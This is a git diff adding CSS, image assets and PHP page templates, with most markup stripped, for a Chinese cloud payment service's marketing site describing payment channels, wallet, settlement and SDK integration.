+.help_conternt{padding-bottom:50px} +.help_title{font-size:20px;color:#333;border-bottom:1px solid #e0e0e0;line-height:40px;margin-bottom:30px} +.help_slide{border:1px solid #e0e0e0;padding:10px 15px 15px} +.help_slide_title{padding-bottom:10px;font-size:16px;border-bottom:1px solid #e0e0e0;color:#333} +.help_slide_list li{line-height:30px;height:30px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap} +.help_slide_list li a{font-size:14px} +.question_list li{padding:15px 0;border-bottom:1px solid #e0e0e0;line-height:25px;padding-left:30px;background:url(../images/list_style.png) no-repeat left 20px} +.question_list li a{display:block;font-size:16px} +.question_list li span{display:block;font-size:14px} +.question_content p{font-size:14px;margin-bottom:0} +.question_content img{max-width:100%} +.page_box{padding:20px 0;text-align:center} +.page_box a{display:inline-block;padding:5px 12px;background-color:#eaecf8;margin:0 5px;color:#333;font-size:14px;line-height:22px} +.page_box a.disabled{color:#888;cursor:default} +.page_box a.on{background-color:#0767aa;color:#fff} +.footer{background:#222;color:#fff;padding:2em 0 2em 0} +.footer_link a,.footer_link h5{color:#fff} +.footer_link p{font-size:.75em;line-height:1.8em;margin-bottom:0} +.footer_link img{width:70%} +@media screen and (max-width:1800px){body,input,select,textarea{font-size:14pt} +} +@media screen and (max-width:1280px){body,input,select,textarea{font-size:12pt} +header.major{margin:.75em 0 2.5em 0} +header.major h2{padding:0 1em 0 1em} +header.white h2{margin-bottom:2em} +#header h1 img{height:52px} +#header nav>ul>li a{font-size:1em} +} +@media screen and (max-width:980px){body,input,select,textarea{font-size:12pt} +body,html{overflow-x:hidden} +h1 br,h2 br,h3 br,h4 br,h5 br,h6 br{display:none} +ul.icons li .icon{font-size:1.25em} +#header nav>ul>li a{font-size:.9em} +#header nav#nav{left:10em} +.banner .banner_text{margin:3em 0 0 0} +.banner .banner_text h2{font-size:2em} +.banner .banner_text h2 img{height:50px} +.banner .banner_text p{font-size:1.2em} +} +@media screen and (max-width:980px) and (orientation:portrait){.banner{padding:6.5em 2em 2em 2em;-moz-flex-direction:column-reverse;-webkit-flex-direction:column-reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse} +.banner .container{width:100%!important} +.cd-fixed-bg.banner{padding:6.5em 2em 2em 2em} +.banner .banner_text{display:block;width:100%;text-align:center;margin:0 0 2em 0;float:none} +.banner .banner_img{width:100%;float:none} +.banner .image{overflow:hidden} +} +#navButton,#navPanel{display:none} +@media screen and (max-width:840px){body,input,select,textarea{font-size:12pt} +#header nav{display:none} +#page-wrapper{-moz-backface-visibility:hidden;-webkit-backface-visibility:hidden;-ms-backface-visibility:hidden;backface-visibility:hidden;-moz-transition:-moz-transform .5s ease;-webkit-transition:-webkit-transform .5s ease;-ms-transition:-ms-transform .5s ease;transition:transform .5s ease;padding-bottom:1px} +#navButton{-moz-backface-visibility:hidden;-webkit-backface-visibility:hidden;-ms-backface-visibility:hidden;backface-visibility:hidden;-moz-transition:-moz-transform .5s ease;-webkit-transition:-webkit-transform .5s ease;-ms-transition:-ms-transform .5s ease;transition:transform .5s ease;display:block;height:3.25em;right:0;position:fixed;top:0;width:4em;z-index:10001} +#navButton .toggle{text-decoration:none;height:100%;left:0;position:absolute;top:0;width:100%;border:0;outline:0} +#navButton .toggle:before{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;font-family:FontAwesome;font-style:normal;font-weight:400;text-transform:none!important} +#navButton .toggle:before{border-radius:6px;color:#333;content:'\f0c9';display:block;font-size:1.5em;height:1.5em;right:.5em;line-height:1.5em;position:absolute;text-align:center;top:.35em;width:2em} +#navPanel{-moz-backface-visibility:hidden;-webkit-backface-visibility:hidden;-ms-backface-visibility:hidden;backface-visibility:hidden;-moz-transform:translateX(-275px);-webkit-transform:translateX(-275px);-ms-transform:translateX(-275px);transform:translateX(-275px);-moz-transition:-moz-transform .5s ease;-webkit-transition:-webkit-transform .5s ease;-ms-transition:-ms-transform .5s ease;transition:transform .5s ease;display:block;height:100%;left:0;overflow-y:auto;position:fixed;top:0;width:275px;z-index:10002;background:#2b2b2b;color:#bbb} +#navPanel .link{border-bottom:0;border-top:solid 1px rgba(255,255,255,.05);color:#bbb;display:block;height:44px;line-height:44px;padding:0 1em 0 1em;text-decoration:none} +#navPanel .link:first-child{border-top:0} +#navPanel .link.depth-0{color:#fff} +#navPanel .link .indent-1{display:inline-block;width:1em} +#navPanel .link .indent-2{display:inline-block;width:2em} +#navPanel .link .indent-3{display:inline-block;width:3em} +#navPanel .link .indent-4{display:inline-block;width:4em} +#navPanel .link .indent-5{display:inline-block;width:5em} +body.navPanel-visible #page-wrapper{-moz-transform:translateX(275px);-webkit-transform:translateX(275px);-ms-transform:translateX(275px);transform:translateX(275px)} +body.navPanel-visible #navButton{-moz-transform:translateX(275px);-webkit-transform:translateX(275px);-ms-transform:translateX(275px);transform:translateX(275px)} +body.navPanel-visible #navPanel{-moz-transform:translateX(0);-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)} +} +@media screen and (max-width:736px){body,input,select,textarea{font-size:12pt} +h1{font-size:1.8em} +h2{font-size:1.4em} +h3{font-size:1.15em} +h4{font-size:1em} +h5{font-size:.8em} +h6{font-size:.7em} +article,section{margin:0 0 1.5em 0!important} +.box_item .button{width:100%;height:3.5em;line-height:3.5em} +ul.labeled-icons li{padding-left:2em} +ul.labeled-icons li h3{line-height:1.75em} +.poptrox-popup{border-radius:0} +.poptrox-popup .nav-next:before,.poptrox-popup .nav-previous:before{margin-top:-1em} +.banner .banner_text h2{font-size:1.5em} +.banner .banner_text h2 img{height:40px} +.banner .banner_text p{font-size:1em} +} +@media screen and (max-width:480px){body,html{min-width:320px} +body,input,select,textarea{font-size:11pt} +ul.actions{margin:0 0 2em 0} +ul.actions li{display:block;padding:1em 0 0 0;text-align:center;width:100%} +ul.actions li:first-child{padding-top:0} +ul.actions li>*{margin:0!important;width:100%} +ul.actions li>.icon:before{margin-left:-2em} +ul.actions.small li{padding:.5em 0 0 0} +ul.actions.small li:first-child{padding-top:0} +#header h1{left:.6em} +#header h1 img{height:47px} +.banner .banner_text p{margin-bottom:0} +} diff --git a/template/index1/assets/images/circle.png b/template/index1/assets/images/circle.png new file mode 100644 index 0000000..2af3d71 Binary files /dev/null and b/template/index1/assets/images/circle.png differ diff --git a/template/index1/assets/images/line_bg.png b/template/index1/assets/images/line_bg.png new file mode 100644 index 0000000..7a20494 Binary files /dev/null and b/template/index1/assets/images/line_bg.png differ diff --git a/template/index1/assets/images/list_style.png b/template/index1/assets/images/list_style.png new file mode 100644 index 0000000..45ffe5c Binary files /dev/null and b/template/index1/assets/images/list_style.png differ diff --git a/template/index1/assets/images/pic01.jpg b/template/index1/assets/images/pic01.jpg new file mode 100644 index 0000000..d6fd1dc Binary files /dev/null and b/template/index1/assets/images/pic01.jpg differ diff --git a/template/index1/assets/images/pic03.jpg b/template/index1/assets/images/pic03.jpg new file mode 100644 index 0000000..44c6123 Binary files /dev/null and b/template/index1/assets/images/pic03.jpg differ diff --git a/template/index1/assets/images/screen.jpg b/template/index1/assets/images/screen.jpg new file mode 100644 index 0000000..45f10eb Binary files /dev/null and b/template/index1/assets/images/screen.jpg differ diff --git a/template/index1/assets/images/tag.png b/template/index1/assets/images/tag.png new file mode 100644 index 0000000..df43ba2 Binary files /dev/null and b/template/index1/assets/images/tag.png differ diff --git a/template/index1/assets/images/tag02.png b/template/index1/assets/images/tag02.png new file mode 100644 index 0000000..a5d5ea0 Binary files /dev/null and b/template/index1/assets/images/tag02.png differ diff --git a/template/index1/assets/picture/about_us.jpg b/template/index1/assets/picture/about_us.jpg new file mode 100644 index 0000000..b513e40 Binary files /dev/null and b/template/index1/assets/picture/about_us.jpg differ diff --git a/template/index1/assets/picture/adv01.png b/template/index1/assets/picture/adv01.png new file mode 100644 index 0000000..414faa6 Binary files /dev/null and b/template/index1/assets/picture/adv01.png differ diff --git a/template/index1/assets/picture/adv02.png b/template/index1/assets/picture/adv02.png new file mode 100644 index 0000000..3e96255 Binary files /dev/null and b/template/index1/assets/picture/adv02.png differ diff --git a/template/index1/assets/picture/adv03.png b/template/index1/assets/picture/adv03.png new file mode 100644 index 0000000..f6f0e91 Binary files /dev/null and b/template/index1/assets/picture/adv03.png differ diff --git a/template/index1/assets/picture/adv04.png b/template/index1/assets/picture/adv04.png new file mode 100644 index 0000000..dadea15 Binary files /dev/null and b/template/index1/assets/picture/adv04.png differ diff --git a/template/index1/assets/picture/icon_adress.png b/template/index1/assets/picture/icon_adress.png new file mode 100644 index 0000000..505c86f Binary files /dev/null and b/template/index1/assets/picture/icon_adress.png differ diff --git a/template/index1/assets/picture/icon_qq.png b/template/index1/assets/picture/icon_qq.png new file mode 100644 index 0000000..2bd9240 Binary files /dev/null and b/template/index1/assets/picture/icon_qq.png differ diff --git a/template/index1/assets/picture/icon_weixin.png b/template/index1/assets/picture/icon_weixin.png new file mode 100644 index 0000000..7997e01 Binary files /dev/null and b/template/index1/assets/picture/icon_weixin.png differ diff --git a/template/index1/assets/picture/ispay_1.png b/template/index1/assets/picture/ispay_1.png new file mode 100644 index 0000000..56fbda7 Binary files /dev/null and b/template/index1/assets/picture/ispay_1.png differ diff --git a/template/index1/assets/picture/kf01.png b/template/index1/assets/picture/kf01.png new file mode 100644 index 0000000..f6f237c Binary files /dev/null and b/template/index1/assets/picture/kf01.png differ diff --git a/template/index1/assets/picture/kf02.png b/template/index1/assets/picture/kf02.png new file mode 100644 index 0000000..dc54429 Binary files /dev/null and b/template/index1/assets/picture/kf02.png differ diff --git a/template/index1/assets/picture/kf03.png b/template/index1/assets/picture/kf03.png new file mode 100644 index 0000000..14fd9dc Binary files /dev/null and b/template/index1/assets/picture/kf03.png differ diff --git a/template/index1/assets/picture/phone.png b/template/index1/assets/picture/phone.png new file mode 100644 index 0000000..b713ca9 Binary files /dev/null and b/template/index1/assets/picture/phone.png differ diff --git a/template/index1/assets/picture/use01.png b/template/index1/assets/picture/use01.png new file mode 100644 index 0000000..d442cad Binary files /dev/null and b/template/index1/assets/picture/use01.png differ diff --git a/template/index1/assets/picture/use02.png b/template/index1/assets/picture/use02.png new file mode 100644 index 0000000..6b8181e Binary files /dev/null and b/template/index1/assets/picture/use02.png differ diff --git a/template/index1/assets/picture/use03.png b/template/index1/assets/picture/use03.png new file mode 100644 index 0000000..fa64478 Binary files /dev/null and b/template/index1/assets/picture/use03.png differ diff --git a/template/index1/assets/picture/yuke01.png b/template/index1/assets/picture/yuke01.png new file mode 100644 index 0000000..898f6f7 Binary files /dev/null and b/template/index1/assets/picture/yuke01.png differ diff --git a/template/index1/assets/picture/yuke02.png b/template/index1/assets/picture/yuke02.png new file mode 100644 index 0000000..7e13204 Binary files /dev/null and b/template/index1/assets/picture/yuke02.png differ diff --git a/template/index1/assets/picture/yuke03.png b/template/index1/assets/picture/yuke03.png new file mode 100644 index 0000000..006a74b Binary files /dev/null and b/template/index1/assets/picture/yuke03.png differ diff --git a/template/index1/assets/picture/yuke04.png b/template/index1/assets/picture/yuke04.png new file mode 100644 index 0000000..56c641d Binary files /dev/null and b/template/index1/assets/picture/yuke04.png differ diff --git a/template/index1/foot.php b/template/index1/foot.php new file mode 100644 index 0000000..b2b8ac0 --- /dev/null +++ b/template/index1/foot.php @@ -0,0 +1,68 @@ + + + +
                                  + + \ No newline at end of file diff --git a/template/index1/head.php b/template/index1/head.php new file mode 100644 index 0000000..90282d5 --- /dev/null +++ b/template/index1/head.php @@ -0,0 +1,58 @@ + + + + + + + + + + + + + + + + + + <?php echo $conf['title']?> + + + +
                                  + + \ No newline at end of file diff --git a/template/index1/index.php b/template/index1/index.php new file mode 100644 index 0000000..6b4b873 --- /dev/null +++ b/template/index1/index.php @@ -0,0 +1,206 @@ + + +
                                  +
                                  +

                                  + 云支付(全支付场景及渠道覆盖) +

                                  +

                                  + 支持支付宝、微信、银联、QQ钱包、快钱等主流支付渠道,让您拥有PC网页支付、扫码支付、手机APP支付、移动HTML5支付、微信公众号支付。 +

                                  +
                                  + +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  + 云钱包 +

                                  +

                                  + 企业通过为用户提供统一虚拟账户,提升用户支付体验,为拓展增值服务提供基础 +

                                  +
                                  + +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  + 云结算 +

                                  +

                                  + 通过简单的页面配置,可以替代复杂繁琐的人工资金结算业务,提高业务实时性,降低错误 +

                                  +
                                  + +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  + 我们的优势 +

                                  +
                                  +
                                  +
                                  + +
                                  +
                                  +

                                  + 降低研发成本 +

                                  +
                                  +

                                  + 简单快速的接入方式,缩短开发周期,实现快速上线。 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  +

                                  + 轻松结算对账 +

                                  +
                                  +

                                  + 降低财务人员在结算方面投入的时间和精力,客服人员也可以轻松查看账户明细 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  +

                                  + 全面开放API +

                                  +
                                  +

                                  + 让企业更加自主的使用相关服务 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  +

                                  + 安全稳定高效 +

                                  +
                                  +

                                  + HTTPS传输加密,REST API调用数字签名验证,ACL权限控制,严格保护客户数据的安全和隐私 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  + + + + \ No newline at end of file diff --git a/template/index1/preview.png b/template/index1/preview.png new file mode 100644 index 0000000..c13f7a9 Binary files /dev/null and b/template/index1/preview.png differ diff --git a/template/index1/produceIntroduce.php b/template/index1/produceIntroduce.php new file mode 100644 index 0000000..c66d84e --- /dev/null +++ b/template/index1/produceIntroduce.php @@ -0,0 +1,271 @@ + +
                                  +
                                  +
                                  +
                                  + 支付渠道 +
                                  +
                                  +
                                  +
                                  + 开发中心 +
                                  +
                                  +
                                  +
                                  + 管理中心 +
                                  +
                                  +
                                  +
                                  + 运营中心 +
                                  +
                                  +
                                  +
                                  + 财务中心 +
                                  +
                                  +
                                  +
                                  + 开通说明 +
                                  +
                                  + +
                                  +
                                  +
                                  +

                                  + 支付渠道 +

                                  + +

                                  + PC网页支付 +

                                  +

                                  + ,PC网页支付支持支付宝网页支付、支付宝扫码支付、 微信扫码支付、银联网页支付、百度钱包等。 +

                                  + +

                                  + 扫码支付 +

                                  +

                                  + ,支持统一扫码支付,渠道扫码支付,包括支付宝扫码支付、 微信扫码支付等。 +

                                  + +

                                  + 微信公众号支付 +

                                  +

                                  + ,为微信公众号提供全套支付解决方案: 用户可在你的微信服务号内进行微信 支付,简单便捷! +

                                  + +

                                  + 手机APP支付 +

                                  +

                                  + ,为iOS/Android原生/H5 App提供支付解决方案:支持微信支付、支付宝支付、银联手机支付、百度钱包等。 +

                                  +
                                  +
                                  +

                                  + 开发中心 +

                                  +
                                  +
                                  +
                                  + +
                                  +

                                  + 集成开发 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +

                                  + 安全设置 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +

                                  + 渠道配置 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  + 管理中心 +

                                  +
                                  +
                                  +
                                  + +
                                  +

                                  + 开发人员 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +

                                  + 运营人员 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +

                                  + 财务人员 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  + 运营中心 +

                                  +
                                  +
                                  +
                                  + +
                                  +

                                  + 配置 +

                                  +

                                  + 风控、分账、费用、营销、结算 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +

                                  + 报表 +

                                  +

                                  + 资金流水报表、日报表、汇总报表 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  + 财务中心 +

                                  +
                                  +
                                  +
                                  + +
                                  +

                                  + 对账 +

                                  +

                                  + 系统自动对账、对账结果查询、对账处理 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +

                                  + 财务 +

                                  +

                                  + 余额调整、相关审核、批量出款、T+n自动结算 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  + 开通说明 +

                                  +
                                  +
                                  +
                                  + +
                                  +

                                  + 注册 +

                                  +

                                  + 您可以免费申请账号,使用开发的相关功能。 +

                                  +

                                  + 去注册 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +

                                  + 集成 +

                                  +

                                  + 开发人员根据文档说明配置相关的信息.下载SDK与DEMO进行集成. +

                                  +

                                  + 查看文档    + 下载SDK +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +

                                  + 开通 +

                                  +

                                  + 正式开通如果有个性化定制需求,请线下联系我们 +

                                  +

                                  + 联系我们 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  + \ No newline at end of file diff --git a/template/index10/assets/css/aos.css b/template/index10/assets/css/aos.css new file mode 100644 index 0000000..a317ce7 --- /dev/null +++ b/template/index10/assets/css/aos.css @@ -0,0 +1 @@ +[aos][aos][aos-easing=linear],body[aos-easing=linear] [aos]{-webkit-transition-timing-function:cubic-bezier(.25,.25,.75,.75);transition-timing-function:cubic-bezier(.25,.25,.75,.75)}[aos][aos][aos-easing=ease],body[aos-easing=ease] [aos]{-webkit-transition-timing-function:cubic-bezier(.25,.1,.25,1);transition-timing-function:cubic-bezier(.25,.1,.25,1)}[aos][aos][aos-easing=ease-in],body[aos-easing=ease-in] [aos]{-webkit-transition-timing-function:cubic-bezier(.42,0,1,1);transition-timing-function:cubic-bezier(.42,0,1,1)}[aos][aos][aos-easing=ease-out],body[aos-easing=ease-out] [aos]{-webkit-transition-timing-function:cubic-bezier(0,0,.58,1);transition-timing-function:cubic-bezier(0,0,.58,1)}[aos][aos][aos-easing=ease-in-out],body[aos-easing=ease-in-out] [aos]{-webkit-transition-timing-function:cubic-bezier(.42,0,.58,1);transition-timing-function:cubic-bezier(.42,0,.58,1)}[aos][aos][aos-easing=ease-in-back],body[aos-easing=ease-in-back] [aos]{-webkit-transition-timing-function:cubic-bezier(.6,-.28,.735,.045);transition-timing-function:cubic-bezier(.6,-.28,.735,.045)}[aos][aos][aos-easing=ease-out-back],body[aos-easing=ease-out-back] [aos]{-webkit-transition-timing-function:cubic-bezier(.175,.885,.32,1.275);transition-timing-function:cubic-bezier(.175,.885,.32,1.275)}[aos][aos][aos-easing=ease-in-out-back],body[aos-easing=ease-in-out-back] [aos]{-webkit-transition-timing-function:cubic-bezier(.68,-.55,.265,1.55);transition-timing-function:cubic-bezier(.68,-.55,.265,1.55)}[aos][aos][aos-easing=ease-in-sine],body[aos-easing=ease-in-sine] [aos]{-webkit-transition-timing-function:cubic-bezier(.47,0,.745,.715);transition-timing-function:cubic-bezier(.47,0,.745,.715)}[aos][aos][aos-easing=ease-out-sine],body[aos-easing=ease-out-sine] [aos]{-webkit-transition-timing-function:cubic-bezier(.39,.575,.565,1);transition-timing-function:cubic-bezier(.39,.575,.565,1)}[aos][aos][aos-easing=ease-in-out-sine],body[aos-easing=ease-in-out-sine] [aos]{-webkit-transition-timing-function:cubic-bezier(.445,.05,.55,.95);transition-timing-function:cubic-bezier(.445,.05,.55,.95)}[aos][aos][aos-easing=ease-in-quad],[aos][aos][aos-easing=ease-in-cubic],[aos][aos][aos-easing=ease-in-quart],body[aos-easing=ease-in-quad] [aos],body[aos-easing=ease-in-cubic] [aos],body[aos-easing=ease-in-quart] [aos]{-webkit-transition-timing-function:cubic-bezier(.55,.085,.68,.53);transition-timing-function:cubic-bezier(.55,.085,.68,.53)}[aos][aos][aos-easing=ease-out-quad],[aos][aos][aos-easing=ease-out-cubic],[aos][aos][aos-easing=ease-out-quart],body[aos-easing=ease-out-quad] [aos],body[aos-easing=ease-out-cubic] [aos],body[aos-easing=ease-out-quart] [aos]{-webkit-transition-timing-function:cubic-bezier(.25,.46,.45,.94);transition-timing-function:cubic-bezier(.25,.46,.45,.94)}[aos][aos][aos-easing=ease-in-out-quad],[aos][aos][aos-easing=ease-in-out-cubic],[aos][aos][aos-easing=ease-in-out-quart],body[aos-easing=ease-in-out-quad] [aos],body[aos-easing=ease-in-out-cubic] [aos],body[aos-easing=ease-in-out-quart] [aos]{-webkit-transition-timing-function:cubic-bezier(.455,.03,.515,.955);transition-timing-function:cubic-bezier(.455,.03,.515,.955)}[aos][aos][aos-duration='50'],body[aos-duration='50'] [aos]{-webkit-transition-duration:50ms;transition-duration:50ms}[aos][aos][aos-duration='100'],body[aos-duration='100'] [aos]{-webkit-transition-duration:.1s;transition-duration:.1s}[aos][aos][aos-duration='150'],body[aos-duration='150'] [aos]{-webkit-transition-duration:150ms;transition-duration:150ms}[aos][aos][aos-duration='200'],body[aos-duration='200'] [aos]{-webkit-transition-duration:.2s;transition-duration:.2s}[aos][aos][aos-duration='250'],body[aos-duration='250'] [aos]{-webkit-transition-duration:250ms;transition-duration:250ms}[aos][aos][aos-duration='300'],body[aos-duration='300'] [aos]{-webkit-transition-duration:.3s;transition-duration:.3s}[aos][aos][aos-duration='350'],body[aos-duration='350'] [aos]{-webkit-transition-duration:350ms;transition-duration:350ms}[aos][aos][aos-duration='400'],body[aos-duration='400'] [aos]{-webkit-transition-duration:.4s;transition-duration:.4s}[aos][aos][aos-duration='450'],body[aos-duration='450'] [aos]{-webkit-transition-duration:450ms;transition-duration:450ms}[aos][aos][aos-duration='500'],body[aos-duration='500'] [aos]{-webkit-transition-duration:.5s;transition-duration:.5s}[aos][aos][aos-duration='550'],body[aos-duration='550'] [aos]{-webkit-transition-duration:550ms;transition-duration:550ms}[aos][aos][aos-duration='600'],body[aos-duration='600'] [aos]{-webkit-transition-duration:.6s;transition-duration:.6s}[aos][aos][aos-duration='650'],body[aos-duration='650'] [aos]{-webkit-transition-duration:650ms;transition-duration:650ms}[aos][aos][aos-duration='700'],body[aos-duration='700'] [aos]{-webkit-transition-duration:.7s;transition-duration:.7s}[aos][aos][aos-duration='750'],body[aos-duration='750'] [aos]{-webkit-transition-duration:750ms;transition-duration:750ms}[aos][aos][aos-duration='800'],body[aos-duration='800'] [aos]{-webkit-transition-duration:.8s;transition-duration:.8s}[aos][aos][aos-duration='850'],body[aos-duration='850'] [aos]{-webkit-transition-duration:850ms;transition-duration:850ms}[aos][aos][aos-duration='900'],body[aos-duration='900'] [aos]{-webkit-transition-duration:.9s;transition-duration:.9s}[aos][aos][aos-duration='950'],body[aos-duration='950'] [aos]{-webkit-transition-duration:950ms;transition-duration:950ms}[aos][aos][aos-duration='1000'],body[aos-duration='1000'] [aos]{-webkit-transition-duration:1s;transition-duration:1s}[aos][aos][aos-duration='1050'],body[aos-duration='1050'] [aos]{-webkit-transition-duration:1.05s;transition-duration:1.05s}[aos][aos][aos-duration='1100'],body[aos-duration='1100'] [aos]{-webkit-transition-duration:1.1s;transition-duration:1.1s}[aos][aos][aos-duration='1150'],body[aos-duration='1150'] [aos]{-webkit-transition-duration:1.15s;transition-duration:1.15s}[aos][aos][aos-duration='1200'],body[aos-duration='1200'] [aos]{-webkit-transition-duration:1.2s;transition-duration:1.2s}[aos][aos][aos-duration='1250'],body[aos-duration='1250'] [aos]{-webkit-transition-duration:1.25s;transition-duration:1.25s}[aos][aos][aos-duration='1300'],body[aos-duration='1300'] [aos]{-webkit-transition-duration:1.3s;transition-duration:1.3s}[aos][aos][aos-duration='1350'],body[aos-duration='1350'] [aos]{-webkit-transition-duration:1.35s;transition-duration:1.35s}[aos][aos][aos-duration='1400'],body[aos-duration='1400'] [aos]{-webkit-transition-duration:1.4s;transition-duration:1.4s}[aos][aos][aos-duration='1450'],body[aos-duration='1450'] [aos]{-webkit-transition-duration:1.45s;transition-duration:1.45s}[aos][aos][aos-duration='1500'],body[aos-duration='1500'] [aos]{-webkit-transition-duration:1.5s;transition-duration:1.5s}[aos][aos][aos-duration='1550'],body[aos-duration='1550'] [aos]{-webkit-transition-duration:1.55s;transition-duration:1.55s}[aos][aos][aos-duration='1600'],body[aos-duration='1600'] [aos]{-webkit-transition-duration:1.6s;transition-duration:1.6s}[aos][aos][aos-duration='1650'],body[aos-duration='1650'] [aos]{-webkit-transition-duration:1.65s;transition-duration:1.65s}[aos][aos][aos-duration='1700'],body[aos-duration='1700'] [aos]{-webkit-transition-duration:1.7s;transition-duration:1.7s}[aos][aos][aos-duration='1750'],body[aos-duration='1750'] [aos]{-webkit-transition-duration:1.75s;transition-duration:1.75s}[aos][aos][aos-duration='1800'],body[aos-duration='1800'] [aos]{-webkit-transition-duration:1.8s;transition-duration:1.8s}[aos][aos][aos-duration='1850'],body[aos-duration='1850'] [aos]{-webkit-transition-duration:1.85s;transition-duration:1.85s}[aos][aos][aos-duration='1900'],body[aos-duration='1900'] [aos]{-webkit-transition-duration:1.9s;transition-duration:1.9s}[aos][aos][aos-duration='1950'],body[aos-duration='1950'] [aos]{-webkit-transition-duration:1.95s;transition-duration:1.95s}[aos][aos][aos-duration='2000'],body[aos-duration='2000'] [aos]{-webkit-transition-duration:2s;transition-duration:2s}[aos][aos][aos-duration='2050'],body[aos-duration='2050'] [aos]{-webkit-transition-duration:2.05s;transition-duration:2.05s}[aos][aos][aos-duration='2100'],body[aos-duration='2100'] [aos]{-webkit-transition-duration:2.1s;transition-duration:2.1s}[aos][aos][aos-duration='2150'],body[aos-duration='2150'] [aos]{-webkit-transition-duration:2.15s;transition-duration:2.15s}[aos][aos][aos-duration='2200'],body[aos-duration='2200'] [aos]{-webkit-transition-duration:2.2s;transition-duration:2.2s}[aos][aos][aos-duration='2250'],body[aos-duration='2250'] [aos]{-webkit-transition-duration:2.25s;transition-duration:2.25s}[aos][aos][aos-duration='2300'],body[aos-duration='2300'] [aos]{-webkit-transition-duration:2.3s;transition-duration:2.3s}[aos][aos][aos-duration='2350'],body[aos-duration='2350'] [aos]{-webkit-transition-duration:2.35s;transition-duration:2.35s}[aos][aos][aos-duration='2400'],body[aos-duration='2400'] [aos]{-webkit-transition-duration:2.4s;transition-duration:2.4s}[aos][aos][aos-duration='2450'],body[aos-duration='2450'] [aos]{-webkit-transition-duration:2.45s;transition-duration:2.45s}[aos][aos][aos-duration='2500'],body[aos-duration='2500'] [aos]{-webkit-transition-duration:2.5s;transition-duration:2.5s}[aos][aos][aos-duration='2550'],body[aos-duration='2550'] [aos]{-webkit-transition-duration:2.55s;transition-duration:2.55s}[aos][aos][aos-duration='2600'],body[aos-duration='2600'] [aos]{-webkit-transition-duration:2.6s;transition-duration:2.6s}[aos][aos][aos-duration='2650'],body[aos-duration='2650'] [aos]{-webkit-transition-duration:2.65s;transition-duration:2.65s}[aos][aos][aos-duration='2700'],body[aos-duration='2700'] [aos]{-webkit-transition-duration:2.7s;transition-duration:2.7s}[aos][aos][aos-duration='2750'],body[aos-duration='2750'] [aos]{-webkit-transition-duration:2.75s;transition-duration:2.75s}[aos][aos][aos-duration='2800'],body[aos-duration='2800'] [aos]{-webkit-transition-duration:2.8s;transition-duration:2.8s}[aos][aos][aos-duration='2850'],body[aos-duration='2850'] [aos]{-webkit-transition-duration:2.85s;transition-duration:2.85s}[aos][aos][aos-duration='2900'],body[aos-duration='2900'] [aos]{-webkit-transition-duration:2.9s;transition-duration:2.9s}[aos][aos][aos-duration='2950'],body[aos-duration='2950'] [aos]{-webkit-transition-duration:2.95s;transition-duration:2.95s}[aos][aos][aos-duration='3000'],body[aos-duration='3000'] [aos]{-webkit-transition-duration:3s;transition-duration:3s}[aos][aos][aos-delay='50'],body[aos-delay='50'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='50'].aos-animate,body[aos-delay='50'] [aos].aos-animate{-webkit-transition-delay:50ms;transition-delay:50ms}[aos][aos][aos-delay='100'],body[aos-delay='100'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='100'].aos-animate,body[aos-delay='100'] [aos].aos-animate{-webkit-transition-delay:.1s;transition-delay:.1s}[aos][aos][aos-delay='150'],body[aos-delay='150'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='150'].aos-animate,body[aos-delay='150'] [aos].aos-animate{-webkit-transition-delay:150ms;transition-delay:150ms}[aos][aos][aos-delay='200'],body[aos-delay='200'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='200'].aos-animate,body[aos-delay='200'] [aos].aos-animate{-webkit-transition-delay:.2s;transition-delay:.2s}[aos][aos][aos-delay='250'],body[aos-delay='250'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='250'].aos-animate,body[aos-delay='250'] [aos].aos-animate{-webkit-transition-delay:250ms;transition-delay:250ms}[aos][aos][aos-delay='300'],body[aos-delay='300'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='300'].aos-animate,body[aos-delay='300'] [aos].aos-animate{-webkit-transition-delay:.3s;transition-delay:.3s}[aos][aos][aos-delay='350'],body[aos-delay='350'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='350'].aos-animate,body[aos-delay='350'] [aos].aos-animate{-webkit-transition-delay:350ms;transition-delay:350ms}[aos][aos][aos-delay='400'],body[aos-delay='400'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='400'].aos-animate,body[aos-delay='400'] [aos].aos-animate{-webkit-transition-delay:.4s;transition-delay:.4s}[aos][aos][aos-delay='450'],body[aos-delay='450'] [aos]{-webkit-transition-delay:0;transition-delay:0}[aos][aos][aos-delay='450'].aos-animate,body[aos-delay='450'] 